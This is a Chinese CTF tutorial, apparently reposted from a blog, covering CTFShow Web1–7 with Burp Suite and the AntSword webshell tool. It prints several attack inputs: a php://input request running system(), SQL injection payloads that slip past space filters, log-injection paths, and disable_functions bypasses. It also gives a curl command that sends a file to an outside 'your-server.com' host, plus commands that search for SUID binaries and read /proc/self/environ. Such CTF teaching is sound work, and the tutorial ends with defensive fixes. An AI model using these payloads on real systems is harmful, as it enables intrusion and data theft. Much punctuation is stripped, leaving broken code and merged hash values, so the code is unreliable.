零基础玩转CTFShow Web1-7:手把手教你用Burp Suite和蚁剑拿flag
零基础玩转CTFShow Web1-7从工具配置到实战渗透全指南第一次接触CTF比赛时看着其他选手在终端里敲出神秘代码就能拿到flag总觉得这是黑客才能掌握的黑魔法。直到自己动手尝试才发现只要掌握正确的工具和方法Web安全挑战并没有想象中那么遥不可及。本文将带你用Burp Suite和蚁剑这两把瑞士军刀系统攻克CTFShow Web1-7的经典题型。1. 环境准备与工具配置1.1 Burp Suite社区版安装与代理设置作为渗透测试的万用工具箱Burp Suite的社区版完全能满足CTF基础需求。在Windows平台安装后需要完成三个关键配置浏览器代理设置将浏览器网络代理指向127.0.0.1:8080CA证书安装访问http://burp下载证书导入到受信任的根证书颁发机构拦截规则配置在Proxy→Options中勾选Intercept requests based on file extension注意若遇到HTTPS网站无法拦截的情况需检查证书是否安装正确必要时可重置Burp的CA证书。1.2 蚁剑连接器配置技巧蚁剑作为中国开发者打造的Webshell管理工具其文件管理和虚拟终端功能在CTF中尤为实用。最新版安装后需要特别注意# 检查PHP环境是否禁用危险函数 php -r print_r(ini_get(disable_functions));常见需要启用的函数包括system/shell_exec- 命令执行必需putenv- 环境变量操作dl- 动态加载扩展2. 源码审计与信息收集实战2.1 从HTML注释到敏感信息泄露Web1作为典型的签到题考察的是开发者注释处理不当导致的信息泄露。进阶技巧包括全局搜索关键词在Burp的Target→Site map中右键选择Find in filesJS文件分析查看/static/js目录下的源码常隐藏调试接口响应头检查某些CTF会在X-Flag等自定义头中放置线索GET / HTTP/1.1 Host: web1.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)2.2 SQL注入的自动化探测Web2展示的字符型注入可以通过Burp的Scanner模块自动检测右键点击请求→Do active scan在Scan queue查看漏洞详情使用Intruder模块进行布尔盲注时可设置以下payload位置类型值usernameRuntime filesqlmap/common-tables.txtpasswordNull payloads留空3. 协议利用与文件包含漏洞3.1 php://input伪协议的高级用法Web3的文件包含漏洞虽然简单但实际渗透中需要注意协议黑名单绕过尝试php://filter/convert.base64-encode/resourceindex.php临时文件包含结合文件上传漏洞包含/tmp/phpXXXXXXexpect协议利用需要服务器安装expect扩展// 通过Burp Repeater发送的POST请求示例 POST /?urlphp://input HTTP/1.1 Content-Type: application/x-www-form-urlencoded ?php system(find / -name *flag*);?3.2 日志注入的防御绕过Web4的日志注入实战中当默认日志路径被修改时可通过以下方法定位暴力枚举使用Intruder测试常见路径/var/log/httpd/access_log /var/log/apache2/access.log /usr/local/nginx/logs/access.log错误信息泄露故意访问不存在的路径触发报错配置文件读取通过LFI读取/etc/nginx/nginx.conf4. 加密漏洞与特殊绕过技巧4.1 MD5碰撞的实战应用Web5的0e绕过属于弱类型比较漏洞实际CTF中还常见数组绕过param1[]1param2[]2科学计数法1e1与10的比较哈希扩展攻击当存在比较时可利用原始值MD5哈希QNKCDZO0e8304004519934940580242199033912406107080e4620974319065090195629887368544.2 空格过滤的六种绕过方案Web6和Web7演示的/**/注释法只是其中一种方案完整列表如下注释替代union/**/select括号包裹union(select(1),2)换行符union%0aselectTab符union%09select内联注释union/*!select*/特殊编码union%a0select-- 实际注入示例 aunion/*!50000select*/1,(select/*!50000group_concat(table_name)*/from/*!50000information_schema.tables*/where/*!50000table_schema*/database()),3#5. 蚁剑在CTF中的高阶应用5.1 虚拟终端绕过disable_functions当遇到严格的主机防护时可通过以下方式突破限制LD_PRELOAD劫持上传编译好的.so文件ImageMagick漏洞利用CVE-2016-3714PHP GC UAF使用PHP7的反序列化漏洞# 通过蚁剑终端执行的绕过命令 whoami /tmp/test.txt curl --data-binary /tmp/test.txt http://your-server.com/log5.2 文件管理中的隐藏技巧快速搜索flag在根目录执行grep -r ctfshow{ /权限提升查找SUID文件find / -perm -4000 2/dev/null环境审计查看/proc/self/environ在实战中遇到Web7这类需要文件读取的题目时可以先用蚁剑建立持久化连接再通过文件管理器直接查看/var/www/html目录下的源码文件比反复使用Burp效率更高。6. 防御视角下的漏洞修复建议完成挑战后从开发者角度思考如何防御这些攻击SQL注入使用PDO预处理语句 严格参数过滤文件包含禁用危险协议 白名单校验日志安全修改默认路径 设置只读权限加密比较使用hash_equals()进行恒定时间比较// 安全的文件包含示例 $allowed [about, contact]; $page $_GET[page] ?? home; if(in_array($page, $allowed)) { include(/var/www/html/{$page}.php); }工欲善其事必先利其器。记得在一次线下赛中笔者花了半小时都没搞定Burp的证书配置而隔壁选手已经用蚁剑拿到了三个flag。工具熟练度往往比知道更多漏洞更重要建议每个工具至少进行20小时的刻意练习直到形成肌肉记忆。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2453587.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!